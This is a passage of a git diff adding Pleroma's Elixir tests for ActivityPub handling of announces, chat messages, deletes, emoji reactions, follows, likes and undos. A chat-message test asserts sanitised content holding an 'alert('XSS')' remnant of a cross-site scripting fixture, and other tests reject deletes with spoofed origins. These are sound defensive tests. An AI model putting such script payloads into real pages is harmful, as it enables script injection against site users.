_meta} = ActivityPub.persist(create_activity_data, local: false) + + {:ok, _create_activity, _meta} = + SideEffects.handle(create_activity, local: false, object_data: chat_message_data) + + # Both users are local and get the chat + chat = Chat.get(author.id, recipient.ap_id) + assert chat + + chat = Chat.get(recipient.id, author.ap_id) + assert chat + end + end + + describe "announce objects" do + setup do + poster = insert(:user) + user = insert(:user) + {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) + {:ok, private_post} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) + + {:ok, announce_data, _meta} = Builder.announce(user, post.object, public: true) + + {:ok, private_announce_data, _meta} = + Builder.announce(user, private_post.object, public: false) + + {:ok, relay_announce_data, _meta} = + Builder.announce(Pleroma.Web.ActivityPub.Relay.get_actor(), post.object, public: true) + + {:ok, announce, _meta} = ActivityPub.persist(announce_data, local: true) + {:ok, private_announce, _meta} = ActivityPub.persist(private_announce_data, local: true) + {:ok, relay_announce, _meta} = ActivityPub.persist(relay_announce_data, local: true) + + %{ + announce: announce, + user: user, + poster: poster, + private_announce: private_announce, + relay_announce: relay_announce + } + end + + test "adds the announce to the original object", %{announce: announce, user: user} do + {:ok, announce, _} = SideEffects.handle(announce) + object = Object.get_by_ap_id(announce.data["object"]) + assert object.data["announcement_count"] == 1 + assert user.ap_id in object.data["announcements"] + end + + test "does not add the announce to the original object if the actor is a service actor", %{ + relay_announce: announce + } do + {:ok, announce, _} = SideEffects.handle(announce) + object = Object.get_by_ap_id(announce.data["object"]) + assert object.data["announcement_count"] == nil + end + + test "creates a notification", %{announce: announce, poster: poster} do + {:ok, announce, _} = SideEffects.handle(announce) + assert Repo.get_by(Notification, user_id: poster.id, activity_id: announce.id) + end + + test "it streams out the announce", %{announce: announce} do + with_mocks([ + { + Pleroma.Web.Streamer, + [], + [ + stream: fn _, _ -> nil end + ] + }, + { + Pleroma.Web.Push, + [], + [ + send: fn _ -> nil end + ] + } + ]) do + {:ok, announce, _} = SideEffects.handle(announce) + + assert called( + Pleroma.Web.Streamer.stream(["user", "list", "public", "public:local"], announce) + ) + + assert called(Pleroma.Web.Push.send(:_)) + end + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs new file mode 100644 index 000000000..e895636b5 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs @@ -0,0 +1,172 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnnounceHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming honk announces" do + user = insert(:user, ap_id: "https://honktest/u/test", local: false) + other_user = insert(:user) + {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) + + announce = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://honktest/u/test", + "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", + "object" => post.data["object"], + "published" => "2019-06-25T19:33:58Z", + "to" => "https://www.w3.org/ns/activitystreams#Public", + "type" => "Announce" + } + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(announce) + + object = Object.get_by_ap_id(post.data["object"]) + + assert length(object.data["announcements"]) == 1 + assert user.ap_id in object.data["announcements"] + end + + test "it works for incoming announces with actor being inlined (kroeg)" do + data = File.read!("test/fixtures/kroeg-announce-with-inline-actor.json") |> Poison.decode!() + + _user = insert(:user, local: false, ap_id: data["actor"]["id"]) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(other_user, %{status: "kroegeroeg"}) + + data = + data + |> put_in(["object", "id"], post.data["object"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "https://puckipedia.com/" + end + + test "it works for incoming announces, fetching the announced object" do + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", "http://mastodon.example.org/users/admin/statuses/99541947525187367") + + Tesla.Mock.mock(fn + %{method: :get} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-note-object.json")} + end) + + _user = insert(:user, local: false, ap_id: data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Announce" + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + + assert data["object"] == + "http://mastodon.example.org/users/admin/statuses/99541947525187367" + + assert(Activity.get_create_by_object_ap_id(data["object"])) + end + + @tag capture_log: true + test "it works for incoming announces with an existing activity" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _user = insert(:user, local: false, ap_id: data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Announce" + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + + assert data["object"] == activity.data["object"] + + assert Activity.get_create_by_object_ap_id(data["object"]).id == activity.id + end + + # Ignore inlined activities for now + @tag skip: true + test "it works for incoming announces with an inlined activity" do + data = + File.read!("test/fixtures/mastodon-announce-private.json") + |> Poison.decode!() + + _user = + insert(:user, + local: false, + ap_id: data["actor"], + follower_address: data["actor"] <> "/followers" + ) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Announce" + + assert data["id"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + + object = Object.normalize(data["object"]) + + assert object.data["id"] == "http://mastodon.example.org/@admin/99541947525187368" + assert object.data["content"] == "this is a private toot" + end + + @tag capture_log: true + test "it rejects incoming announces with an inlined activity from another origin" do + Tesla.Mock.mock(fn + %{method: :get} -> %Tesla.Env{status: 404, body: ""} + end) + + data = + File.read!("test/fixtures/bogus-mastodon-announce.json") + |> Poison.decode!() + + _user = insert(:user, local: false, ap_id: data["actor"]) + + assert {:error, e} = Transmogrifier.handle_incoming(data) + end + + test "it does not clobber the addressing on announce activities" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", Object.normalize(activity).data["id"]) + |> Map.put("to", ["http://mastodon.example.org/users/admin/followers"]) + |> Map.put("cc", []) + + _user = + insert(:user, + local: false, + ap_id: data["actor"], + follower_address: "http://mastodon.example.org/users/admin/followers" + ) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["to"] == ["http://mastodon.example.org/users/admin/followers"] + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs b/test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs new file mode 100644 index 000000000..31274c067 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/chat_message_test.exs @@ -0,0 +1,171 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.ChatMessageTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + + describe "handle_incoming" do + test "handles chonks with attachment" do + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => "https://honk.tedunangst.com/u/tedu", + "id" => "https://honk.tedunangst.com/u/tedu/honk/x6gt8X8PcyGkQcXxzg1T", + "object" => %{ + "attachment" => [ + %{ + "mediaType" => "image/jpeg", + "name" => "298p3RG7j27tfsZ9RQ.jpg", + "summary" => "298p3RG7j27tfsZ9RQ.jpg", + "type" => "Document", + "url" => "https://honk.tedunangst.com/d/298p3RG7j27tfsZ9RQ.jpg" + } + ], + "attributedTo" => "https://honk.tedunangst.com/u/tedu", + "content" => "", + "id" => "https://honk.tedunangst.com/u/tedu/chonk/26L4wl5yCbn4dr4y1b", + "published" => "2020-05-18T01:13:03Z", + "to" => [ + "https://dontbulling.me/users/lain" + ], + "type" => "ChatMessage" + }, + "published" => "2020-05-18T01:13:03Z", + "to" => [ + "https://dontbulling.me/users/lain" + ], + "type" => "Create" + } + + _user = insert(:user, ap_id: data["actor"]) + _user = insert(:user, ap_id: hd(data["to"])) + + assert {:ok, _activity} = Transmogrifier.handle_incoming(data) + end + + test "it rejects messages that don't contain content" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + object = + data["object"] + |> Map.delete("content") + + data = + data + |> Map.put("object", object) + + _author = + insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) + + _recipient = + insert(:user, + ap_id: List.first(data["to"]), + local: true, + last_refreshed_at: DateTime.utc_now() + ) + + {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it rejects messages that don't concern local users" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + _author = + insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) + + _recipient = + insert(:user, + ap_id: List.first(data["to"]), + local: false, + last_refreshed_at: DateTime.utc_now() + ) + + {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it rejects messages where the `to` field of activity and object don't match" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + author = insert(:user, ap_id: data["actor"]) + _recipient = insert(:user, ap_id: List.first(data["to"])) + + data = + data + |> Map.put("to", author.ap_id) + + assert match?({:error, _}, Transmogrifier.handle_incoming(data)) + refute Object.get_by_ap_id(data["object"]["id"]) + end + + test "it fetches the actor if they aren't in our system" do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + |> Map.put("actor", "http://mastodon.example.org/users/admin") + |> put_in(["object", "actor"], "http://mastodon.example.org/users/admin") + + _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) + + {:ok, %Activity{} = _activity} = Transmogrifier.handle_incoming(data) + end + + test "it doesn't work for deactivated users" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + _author = + insert(:user, + ap_id: data["actor"], + local: false, + last_refreshed_at: DateTime.utc_now(), + deactivated: true + ) + + _recipient = insert(:user, ap_id: List.first(data["to"]), local: true) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + end + + test "it inserts it and creates a chat" do + data = + File.read!("test/fixtures/create-chat-message.json") + |> Poison.decode!() + + author = + insert(:user, ap_id: data["actor"], local: false, last_refreshed_at: DateTime.utc_now()) + + recipient = insert(:user, ap_id: List.first(data["to"]), local: true) + + {:ok, %Activity{} = activity} = Transmogrifier.handle_incoming(data) + assert activity.local == false + + assert activity.actor == author.ap_id + assert activity.recipients == [recipient.ap_id, author.ap_id] + + %Object{} = object = Object.get_by_ap_id(activity.data["object"]) + + assert object + assert object.data["content"] == "You expected a cute girl? Too bad. alert('XSS')" + assert match?(%{"firefox" => _}, object.data["emoji"]) + + refute Chat.get(author.id, recipient.ap_id) + assert Chat.get(recipient.id, author.ap_id) + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs new file mode 100644 index 000000000..c9a53918c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/delete_handling_test.exs @@ -0,0 +1,114 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.DeleteHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "it works for incoming deletes" do + activity = insert(:note_activity) + deleting_user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-delete.json") + |> Poison.decode!() + |> Map.put("actor", deleting_user.ap_id) + |> put_in(["object", "id"], activity.data["object"]) + + {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = + Transmogrifier.handle_incoming(data) + + assert id == data["id"] + + # We delete the Create activity because we base our timelines on it. + # This should be changed after we unify objects and activities + refute Activity.get_by_id(activity.id) + assert actor == deleting_user.ap_id + + # Objects are replaced by a tombstone object. + object = Object.normalize(activity.data["object"]) + assert object.data["type"] == "Tombstone" + end + + test "it works for incoming when the object has been pruned" do + activity = insert(:note_activity) + + {:ok, object} = + Object.normalize(activity.data["object"]) + |> Repo.delete() + + Cachex.del(:object_cache, "object:#{object.data["id"]}") + + deleting_user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-delete.json") + |> Poison.decode!() + |> Map.put("actor", deleting_user.ap_id) + |> put_in(["object", "id"], activity.data["object"]) + + {:ok, %Activity{actor: actor, local: false, data: %{"id" => id}}} = + Transmogrifier.handle_incoming(data) + + assert id == data["id"] + + # We delete the Create activity because we base our timelines on it. + # This should be changed after we unify objects and activities + refute Activity.get_by_id(activity.id) + assert actor == deleting_user.ap_id + end + + test "it fails for incoming deletes with spoofed origin" do + activity = insert(:note_activity) + %{ap_id: ap_id} = insert(:user, ap_id: "https://gensokyo.2hu/users/raymoo") + + data = + File.read!("test/fixtures/mastodon-delete.json") + |> Poison.decode!() + |> Map.put("actor", ap_id) + |> put_in(["object", "id"], activity.data["object"]) + + assert match?({:error, _}, Transmogrifier.handle_incoming(data)) + end + + @tag capture_log: true + test "it works for incoming user deletes" do + %{ap_id: ap_id} = insert(:user, ap_id: "http://mastodon.example.org/users/admin") + + data = + File.read!("test/fixtures/mastodon-delete-user.json") + |> Poison.decode!() + + {:ok, _} = Transmogrifier.handle_incoming(data) + ObanHelpers.perform_all() + + assert User.get_cached_by_ap_id(ap_id).deactivated + end + + test "it fails for incoming user deletes with spoofed origin" do + %{ap_id: ap_id} = insert(:user) + + data = + File.read!("test/fixtures/mastodon-delete-user.json") + |> Poison.decode!() + |> Map.put("actor", ap_id) + + assert match?({:error, _}, Transmogrifier.handle_incoming(data)) + + assert User.get_cached_by_ap_id(ap_id) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs new file mode 100644 index 000000000..0fb056b50 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/emoji_react_handling_test.exs @@ -0,0 +1,61 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.EmojiReactHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming emoji reactions" do + user = insert(:user) + other_user = insert(:user, local: false) + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/emoji-reaction.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", other_user.ap_id) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == other_user.ap_id + assert data["type"] == "EmojiReact" + assert data["id"] == "http://mastodon.example.org/users/admin#reactions/2" + assert data["object"] == activity.data["object"] + assert data["content"] == "👌" + + object = Object.get_by_ap_id(data["object"]) + + assert object.data["reaction_count"] == 1 + assert match?([["👌", _]], object.data["reactions"]) + end + + test "it reject invalid emoji reactions" do + user = insert(:user) + other_user = insert(:user, local: false) + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/emoji-reaction-too-long.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", other_user.ap_id) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + + data = + File.read!("test/fixtures/emoji-reaction-no-emoji.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("actor", other_user.ap_id) + + assert {:error, _} = Transmogrifier.handle_incoming(data) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs new file mode 100644 index 000000000..757d90941 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/follow_handling_test.exs @@ -0,0 +1,208 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do + use Pleroma.DataCase + alias Pleroma.Activity + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.ActivityPub.Utils + + import Pleroma.Factory + import Ecto.Query + import Mock + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "handle_incoming" do + setup do: clear_config([:user, :deny_follow_blocked]) + + test "it works for osada follow request" do + user = insert(:user) + + data = + File.read!("test/fixtures/osada-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "https://apfed.club/channel/indio" + assert data["type"] == "Follow" + assert data["id"] == "https://apfed.club/follow/9" + + activity = Repo.get(Activity, activity.id) + assert activity.data["state"] == "accept" + assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it works for incoming follow requests" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Follow" + assert data["id"] == "http://mastodon.example.org/users/admin#follows/2" + + activity = Repo.get(Activity, activity.id) + assert activity.data["state"] == "accept" + assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) + + [notification] = Notification.for_user(user) + assert notification.type == "follow" + end + + test "with locked accounts, it does create a Follow, but not an Accept" do + user = insert(:user, locked: true) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["state"] == "pending" + + refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) + + accepts = + from( + a in Activity, + where: fragment("?->>'type' = ?", a.data, "Accept") + ) + |> Repo.all() + + assert Enum.empty?(accepts) + + [notification] = Notification.for_user(user) + assert notification.type == "follow_request" + end + + test "it works for follow requests when you are already followed, creating a new accept activity" do + # This is important because the remote might have the wrong idea about the + # current follow status. This can lead to instance A thinking that x@A is + # followed by y@B, but B thinks they are not. In this case, the follow can + # never go through again because it will never get an Accept. + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) + + accepts = + from( + a in Activity, + where: fragment("?->>'type' = ?", a.data, "Accept") + ) + |> Repo.all() + + assert length(accepts) == 1 + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("id", String.replace(data["id"], "2", "3")) + |> Map.put("object", user.ap_id) + + {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) + + accepts = + from( + a in Activity, + where: fragment("?->>'type' = ?", a.data, "Accept") + ) + |> Repo.all() + + assert length(accepts) == 2 + end + + test "it rejects incoming follow requests from blocked users when deny_follow_blocked is enabled" do + Pleroma.Config.put([:user, :deny_follow_blocked], true) + + user = insert(:user) + {:ok, target} = User.get_or_fetch("http://mastodon.example.org/users/admin") + + {:ok, _user_relationship} = User.block(user, target) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) + + %Activity{} = activity = Activity.get_by_ap_id(id) + + assert activity.data["state"] == "reject" + end + + test "it rejects incoming follow requests if the following errors for some reason" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + with_mock Pleroma.User, [:passthrough], follow: fn _, _, _ -> {:error, :testing} end do + {:ok, %Activity{data: %{"id" => id}}} = Transmogrifier.handle_incoming(data) + + %Activity{} = activity = Activity.get_by_ap_id(id) + + assert activity.data["state"] == "reject" + end + end + + test "it works for incoming follow requests from hubzilla" do + user = insert(:user) + + data = + File.read!("test/fixtures/hubzilla-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + |> Utils.normalize_params() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "https://hubzilla.example.org/channel/kaniini" + assert data["type"] == "Follow" + assert data["id"] == "https://hubzilla.example.org/channel/kaniini#follows/2" + assert User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it works for incoming follows to locked account" do + pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin") + user = insert(:user, locked: true) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Follow" + assert data["object"] == user.ap_id + assert data["state"] == "pending" + assert data["actor"] == "http://mastodon.example.org/users/admin" + + assert [^pending_follower] = User.get_follow_requests(user) + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs new file mode 100644 index 000000000..53fe1d550 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/like_handling_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.LikeHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming likes" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/mastodon-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _actor = insert(:user, ap_id: data["actor"], local: false) + + {:ok, %Activity{data: data, local: false} = activity} = Transmogrifier.handle_incoming(data) + + refute Enum.empty?(activity.recipients) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Like" + assert data["id"] == "http://mastodon.example.org/users/admin#likes/2" + assert data["object"] == activity.data["object"] + end + + test "it works for incoming misskey likes, turning them into EmojiReacts" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/misskey-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _actor = insert(:user, ap_id: data["actor"], local: false) + + {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) + + assert activity_data["actor"] == data["actor"] + assert activity_data["type"] == "EmojiReact" + assert activity_data["id"] == data["id"] + assert activity_data["object"] == activity.data["object"] + assert activity_data["content"] == "🍮" + end + + test "it works for incoming misskey likes that contain unicode emojis, turning them into EmojiReacts" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + + data = + File.read!("test/fixtures/misskey-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + |> Map.put("_misskey_reaction", "⭐") + + _actor = insert(:user, ap_id: data["actor"], local: false) + + {:ok, %Activity{data: activity_data, local: false}} = Transmogrifier.handle_incoming(data) + + assert activity_data["actor"] == data["actor"] + assert activity_data["type"] == "EmojiReact" + assert activity_data["id"] == data["id"] + assert activity_data["object"] == activity.data["object"] + assert activity_data["content"] == "⭐" + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs new file mode 100644 index 000000000..8683f7135 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/undo_handling_test.exs @@ -0,0 +1,185 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.UndoHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it works for incoming emoji reaction undos" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hello"}) + {:ok, reaction_activity} = CommonAPI.react_with_emoji(activity.id, user, "👌") + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", reaction_activity.data["id"]) + |> Map.put("actor", user.ap_id) + + {:ok, activity} = Transmogrifier.handle_incoming(data) + + assert activity.actor == user.ap_id + assert activity.data["id"] == data["id"] + assert activity.data["type"] == "Undo" + end + + test "it returns an error for incoming unlikes wihout a like activity" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + assert Transmogrifier.handle_incoming(data) == :error + end + + test "it works for incoming unlikes with an existing like activity" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) + + like_data = + File.read!("test/fixtures/mastodon-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _liker = insert(:user, ap_id: like_data["actor"], local: false) + + {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", like_data) + |> Map.put("actor", like_data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Undo" + assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" + assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" + + note = Object.get_by_ap_id(like_data["object"]) + assert note.data["like_count"] == 0 + assert note.data["likes"] == [] + end + + test "it works for incoming unlikes with an existing like activity and a compact object" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "leave a like pls"}) + + like_data = + File.read!("test/fixtures/mastodon-like.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _liker = insert(:user, ap_id: like_data["actor"], local: false) + + {:ok, %Activity{data: like_data, local: false}} = Transmogrifier.handle_incoming(like_data) + + data = + File.read!("test/fixtures/mastodon-undo-like.json") + |> Poison.decode!() + |> Map.put("object", like_data["id"]) + |> Map.put("actor", like_data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["actor"] == "http://mastodon.example.org/users/admin" + assert data["type"] == "Undo" + assert data["id"] == "http://mastodon.example.org/users/admin#likes/2/undo" + assert data["object"] == "http://mastodon.example.org/users/admin#likes/2" + end + + test "it works for incoming unannounces with an existing notice" do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) + + announce_data = + File.read!("test/fixtures/mastodon-announce.json") + |> Poison.decode!() + |> Map.put("object", activity.data["object"]) + + _announcer = insert(:user, ap_id: announce_data["actor"], local: false) + + {:ok, %Activity{data: announce_data, local: false}} = + Transmogrifier.handle_incoming(announce_data) + + data = + File.read!("test/fixtures/mastodon-undo-announce.json") + |> Poison.decode!() + |> Map.put("object", announce_data) + |> Map.put("actor", announce_data["actor"]) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Undo" + + assert data["object"] == + "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" + end + + test "it works for incoming unfollows with an existing follow" do + user = insert(:user) + + follow_data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + + _follower = insert(:user, ap_id: follow_data["actor"], local: false) + + {:ok, %Activity{data: _, local: false}} = Transmogrifier.handle_incoming(follow_data) + + data = + File.read!("test/fixtures/mastodon-unfollow-activity.json") + |> Poison.decode!() + |> Map.put("object", follow_data) + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + assert data["type"] == "Undo" + assert data["object"]["type"] == "Follow" + assert data["object"]["object"] == user.ap_id + assert data["actor"] == "http://mastodon.example.org/users/admin" + + refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) + end + + test "it works for incoming unblocks with an existing block" do + user = insert(:user) + + block_data = + File.read!("test/fixtures/mastodon-block-activity.json") + |> Poison.decode!() + |> Map.put("object", 